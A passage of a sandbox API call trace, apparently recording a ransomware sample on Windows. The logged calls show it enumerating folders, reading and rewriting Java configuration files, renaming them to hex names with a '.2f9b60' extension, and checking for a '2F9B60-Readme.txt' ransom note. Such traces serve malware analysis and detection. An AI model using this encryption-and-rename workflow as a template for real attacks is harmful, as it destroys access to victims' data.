ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.684] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0156.684] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0156.684] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2832bdaf, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2832bdaf, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0156.684] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0156.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0156.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a7d0) returned 1 [0156.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aa10) returned 1 Thread: id = 2625 os_tid = 0x2170 [0156.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86aa10 [0156.687] wcscpy (in: _Dest=0x1b86aa10, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" [0156.687] wcscat (in: _Dest=0x1b86aa10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\" [0156.687] wcscat (in: _Dest=0x1b86aa10, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*" [0156.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd985b0 [0156.687] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced57a0 [0156.688] wcscmp (_String1=".", _String2=".") returned 0 [0156.688] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.688] wcscmp (_String1="..", _String2=".") returned 1 [0156.688] wcscmp (_String1="..", _String2="..") returned 0 [0156.688] FindNextFileW (in: hFindFile=0x1ced57a0, lpFindFileData=0x1cd985b0 | out: lpFindFileData=0x1cd985b0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0156.688] FindClose (in: hFindFile=0x1ced57a0 | out: hFindFile=0x1ced57a0) returned 1 [0156.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd985b0) returned 1 [0156.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aa10) returned 1 [0156.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b820) returned 1 Thread: id = 2626 os_tid = 0x2174 [0156.691] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template")) returned 0x20 [0156.691] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template", dwFileAttributes=0x20) returned 1 [0156.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x634 [0156.692] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x3673f900 | out: lpFileSize=0x3673f900*=2856) returned 1 [0156.692] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.692] ReadFile (in: hFile=0x634, lpBuffer=0x3673f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3673f8c8, lpOverlapped=0x0 | out: lpBuffer=0x3673f880*, lpNumberOfBytesRead=0x3673f8c8*=0x4, lpOverlapped=0x0) returned 1 [0160.622] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0fe0 [0160.622] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1070 [0160.622] NtQuerySystemTime (in: CurrentTime=0x3673f7c0 | out: CurrentTime=0x3673f7c0*=132462177657574000) returned 0x0 [0160.622] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x66abbf5f [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x5b7399d9 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x53fffd1e [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x52b06d8f [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x7443ffba [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x2d51fe28 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0xc19b0bb [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x52e5de0a [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x2bd66304 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0xec51cb [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0xa4bc8a4 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x7f38ec1 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x7d47c4f7 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x693a6626 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x31922c5e [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x13a3156 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x2f984baa [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0xef47667 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x51bd33d0 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x2631929c [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x39e7163 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x14878551 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x1b7496d5 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x41c7fe1 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x604155a8 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x3227a0b7 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x6d78f225 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x23995b01 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x2184bce3 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x32594e7f [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x273859f2 [0160.623] RtlRandomEx (in: Seed=0x3673f7b0 | out: Seed=0x3673f7b0) returned 0x5338049f [0160.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10a0 [0160.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0160.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a10d0 [0160.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0160.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1070) returned 1 [0160.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0160.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0160.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e93cc0 [0160.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ea6910 [0160.632] ReadFile (in: hFile=0x634, lpBuffer=0x41e93cc0, nNumberOfBytesToRead=0xb28, lpNumberOfBytesRead=0x3673f7b0, lpOverlapped=0x0 | out: lpBuffer=0x41e93cc0*, lpNumberOfBytesRead=0x3673f7b0*=0xb28, lpOverlapped=0x0) returned 1 [0160.632] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.632] WriteFile (in: hFile=0x634, lpBuffer=0x41ea6910*, nNumberOfBytesToWrite=0xb28, lpNumberOfBytesWritten=0x3673f7b4, lpOverlapped=0x0 | out: lpBuffer=0x41ea6910*, lpNumberOfBytesWritten=0x3673f7b4*=0xb28, lpOverlapped=0x0) returned 1 [0163.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a870 [0163.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82afc0 [0163.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82afc0) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ea6910) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e93cc0) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0163.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0163.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c5d0 [0163.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c6c0 [0163.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0163.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82afc0 [0163.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82afc0) returned 1 [0163.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82bf40 [0163.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82afc0 [0163.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0163.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0163.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0163.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c6c0) returned 1 [0163.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x128) returned 0x42c202f0 [0163.136] SetFilePointerEx (in: hFile=0x634, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.136] WriteFile (in: hFile=0x634, lpBuffer=0x42c202f0*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3673f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42c202f0*, lpNumberOfBytesWritten=0x3673f8d0*=0x128, lpOverlapped=0x0) returned 1 [0164.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0165.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d10 [0165.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0d10) returned 1 [0165.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9ff70 [0165.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d10 [0165.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1550 [0165.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1550) returned 1 [0165.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0165.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0165.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6d) returned 0x1b869740 [0165.001] sprintf (in: _Dest=0x1b869740, _Format="%c%c" | out: _Dest="af") returned 2 [0165.001] sprintf (in: _Dest=0x1b869742, _Format="%c%c" | out: _Dest="8d") returned 2 [0165.001] sprintf (in: _Dest=0x1b869744, _Format="%c%c" | out: _Dest="cd") returned 2 [0165.001] sprintf (in: _Dest=0x1b869746, _Format="%c%c" | out: _Dest="e2") returned 2 [0165.001] sprintf (in: _Dest=0x1b869748, _Format="%c%c" | out: _Dest="99") returned 2 [0165.001] sprintf (in: _Dest=0x1b86974a, _Format="%c%c" | out: _Dest="df") returned 2 [0165.002] sprintf (in: _Dest=0x1b86974c, _Format="%c%c" | out: _Dest="35") returned 2 [0165.002] sprintf (in: _Dest=0x1b86974e, _Format="%c%c" | out: _Dest="14") returned 2 [0165.002] sprintf (in: _Dest=0x1b869750, _Format="%c%c" | out: _Dest="ab") returned 2 [0165.002] sprintf (in: _Dest=0x1b869752, _Format="%c%c" | out: _Dest="ed") returned 2 [0165.002] sprintf (in: _Dest=0x1b869754, _Format="%c%c" | out: _Dest="09") returned 2 [0165.002] sprintf (in: _Dest=0x1b869756, _Format="%c%c" | out: _Dest="2c") returned 2 [0165.002] sprintf (in: _Dest=0x1b869758, _Format="%c%c" | out: _Dest="51") returned 2 [0165.002] sprintf (in: _Dest=0x1b86975a, _Format="%c%c" | out: _Dest="64") returned 2 [0165.002] sprintf (in: _Dest=0x1b86975c, _Format="%c%c" | out: _Dest="31") returned 2 [0165.002] sprintf (in: _Dest=0x1b86975e, _Format="%c%c" | out: _Dest="28") returned 2 [0165.002] sprintf (in: _Dest=0x1b869760, _Format="%c%c" | out: _Dest="c9") returned 2 [0165.002] sprintf (in: _Dest=0x1b869762, _Format="%c%c" | out: _Dest="8c") returned 2 [0165.002] sprintf (in: _Dest=0x1b869764, _Format="%c%c" | out: _Dest="c4") returned 2 [0165.002] sprintf (in: _Dest=0x1b869766, _Format="%c%c" | out: _Dest="c8") returned 2 [0165.002] sprintf (in: _Dest=0x1b869768, _Format="%c%c" | out: _Dest="75") returned 2 [0165.002] sprintf (in: _Dest=0x1b86976a, _Format="%c%c" | out: _Dest="be") returned 2 [0165.002] sprintf (in: _Dest=0x1b86976c, _Format="%c%c" | out: _Dest="96") returned 2 [0165.002] sprintf (in: _Dest=0x1b86976e, _Format="%c%c" | out: _Dest="bc") returned 2 [0165.002] sprintf (in: _Dest=0x1b869770, _Format="%c%c" | out: _Dest="04") returned 2 [0165.002] sprintf (in: _Dest=0x1b869772, _Format="%c%c" | out: _Dest="f9") returned 2 [0165.002] sprintf (in: _Dest=0x1b869774, _Format="%c%c" | out: _Dest="62") returned 2 [0165.002] sprintf (in: _Dest=0x1b869776, _Format="%c%c" | out: _Dest="e5") returned 2 [0165.002] sprintf (in: _Dest=0x1b869778, _Format="%c%c" | out: _Dest="32") returned 2 [0165.002] sprintf (in: _Dest=0x1b86977a, _Format="%c%c" | out: _Dest="31") returned 2 [0165.002] sprintf (in: _Dest=0x1b86977c, _Format="%c%c" | out: _Dest="84") returned 2 [0165.002] sprintf (in: _Dest=0x1b86977e, _Format="%c%c" | out: _Dest="6b") returned 2 [0165.002] sprintf (in: _Dest=0x1b869780, _Format="%c%c" | out: _Dest="2c") returned 2 [0165.002] sprintf (in: _Dest=0x1b869782, _Format="%c%c" | out: _Dest="d3") returned 2 [0165.002] sprintf (in: _Dest=0x1b869784, _Format="%c%c" | out: _Dest="3b") returned 2 [0165.002] sprintf (in: _Dest=0x1b869786, _Format="%c%c" | out: _Dest="af") returned 2 [0165.002] sprintf (in: _Dest=0x1b869788, _Format="%c%c" | out: _Dest="af") returned 2 [0165.002] sprintf (in: _Dest=0x1b86978a, _Format="%c%c" | out: _Dest="9c") returned 2 [0165.002] sprintf (in: _Dest=0x1b86978c, _Format="%c%c" | out: _Dest="da") returned 2 [0165.002] sprintf (in: _Dest=0x1b86978e, _Format="%c%c" | out: _Dest="85") returned 2 [0165.003] sprintf (in: _Dest=0x1b869790, _Format="%c%c" | out: _Dest="c9") returned 2 [0165.003] sprintf (in: _Dest=0x1b869792, _Format="%c%c" | out: _Dest="cc") returned 2 [0165.003] sprintf (in: _Dest=0x1b869794, _Format="%c%c" | out: _Dest="0a") returned 2 [0165.003] sprintf (in: _Dest=0x1b869796, _Format="%c%c" | out: _Dest="4e") returned 2 [0165.003] sprintf (in: _Dest=0x1b869798, _Format="%c%c" | out: _Dest="09") returned 2 [0165.003] sprintf (in: _Dest=0x1b86979a, _Format="%c%c" | out: _Dest="e1") returned 2 [0165.003] sprintf (in: _Dest=0x1b86979c, _Format="%c%c" | out: _Dest="5d") returned 2 [0165.003] sprintf (in: _Dest=0x1b86979e, _Format="%c%c" | out: _Dest="fa") returned 2 [0165.003] sprintf (in: _Dest=0x1b8697a0, _Format="%c%c" | out: _Dest="53") returned 2 [0165.003] sprintf (in: _Dest=0x1b8697a2, _Format="%c%c" | out: _Dest="d9") returned 2 [0165.003] sprintf (in: _Dest=0x1b8697a4, _Format="%c%c" | out: _Dest="73") returned 2 [0165.003] sprintf (in: _Dest=0x1b8697a6, _Format="%c%c" | out: _Dest="5a") returned 2 [0165.003] sprintf (in: _Dest=0x1b8697a8, _Format="%c%c" | out: _Dest="9f") returned 2 [0165.003] sprintf (in: _Dest=0x1b8697aa, _Format="%c%c" | out: _Dest="07") returned 2 [0165.003] RtlInitAnsiString (in: DestinationString=0x3673f948, SourceString="af8dcde299df3514abed092c51643128c98cc4c875be96bc04f962e53231846b2cd33bafaf9cda85c9cc0a4e09e15dfa53d9735a9f07" | out: DestinationString="af8dcde299df3514abed092c51643128c98cc4c875be96bc04f962e53231846b2cd33bafaf9cda85c9cc0a4e09e15dfa53d9735a9f07") [0165.003] RtlAnsiStringToUnicodeString (in: DestinationString=0x3673f918, SourceString="af8dcde299df3514abed092c51643128c98cc4c875be96bc04f962e53231846b2cd33bafaf9cda85c9cc0a4e09e15dfa53d9735a9f07", AllocateDestinationString=1 | out: DestinationString="af8dcde299df3514abed092c51643128c98cc4c875be96bc04f962e53231846b2cd33bafaf9cda85c9cc0a4e09e15dfa53d9735a9f07") returned 0x0 [0165.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xda) returned 0x1b798da0 [0165.003] RtlFreeAnsiString (AnsiString="a") [0165.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0165.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff70) returned 1 [0165.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0d10) returned 1 [0165.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c202f0) returned 1 [0165.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0165.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82afc0) returned 1 [0165.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0165.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a870) returned 1 [0165.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0fe0) returned 1 [0165.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10a0) returned 1 [0165.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a10d0) returned 1 [0165.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x2050be20 [0165.006] wcscat (in: _Dest=0x2050be20, _Source="af8dcde299df3514abed092c516" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\af8dcde299df3514abed092c516") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\af8dcde299df3514abed092c516" [0165.006] wcscat (in: _Dest=0x2050be20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\af8dcde299df3514abed092c516.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\af8dcde299df3514abed092c516.2f9b60" [0165.006] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\af8dcde299df3514abed092c516.2f9b60", NtPathName=0x3673f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\af8dcde299df3514abed092c516.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1198c0 [0165.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0165.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c352e0) returned 1 [0165.049] NtQueryInformationFile (in: FileHandle=0x634, IoStatusBlock=0x3673f958, FileInformation=0x3673f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3673f958, FileInformation=0x3673f968) returned 0x0 [0165.049] NtSetInformationFile (FileHandle=0x634, IoStatusBlock=0x3673f958, FileInformation=0x3673f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050be20) returned 1 [0165.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b798da0) returned 1 [0165.087] FlushFileBuffers (hFile=0x634) returned 1 [0166.266] CloseHandle (hObject=0x634) returned 1 [0183.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x42c23050 [0183.994] wcscpy (in: _Dest=0x42c23050, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\" [0183.994] wcscat (in: _Dest=0x42c23050, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" [0183.995] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\2f9b60-readme.txt")) returned 0x20 [0216.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c23050) returned 1 [0216.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b01f0) returned 1 Thread: id = 2627 os_tid = 0x2178 [0156.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\management.properties")) returned 0x20 [0156.701] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties", dwFileAttributes=0x20) returned 1 [0156.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\management.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management\\management.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x62c [0156.702] GetFileSizeEx (in: hFile=0x62c, lpFileSize=0x3771fc80 | out: lpFileSize=0x3771fc80*=14097) returned 1 [0156.703] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x370d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.703] ReadFile (in: hFile=0x62c, lpBuffer=0x3771fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3771fc48, lpOverlapped=0x0 | out: lpBuffer=0x3771fc00*, lpNumberOfBytesRead=0x3771fc48*=0x4, lpOverlapped=0x0) returned 1 [0160.579] SetFilePointerEx (in: hFile=0x62c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2270 [0160.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0d40 [0160.579] RtlAllocateHeap 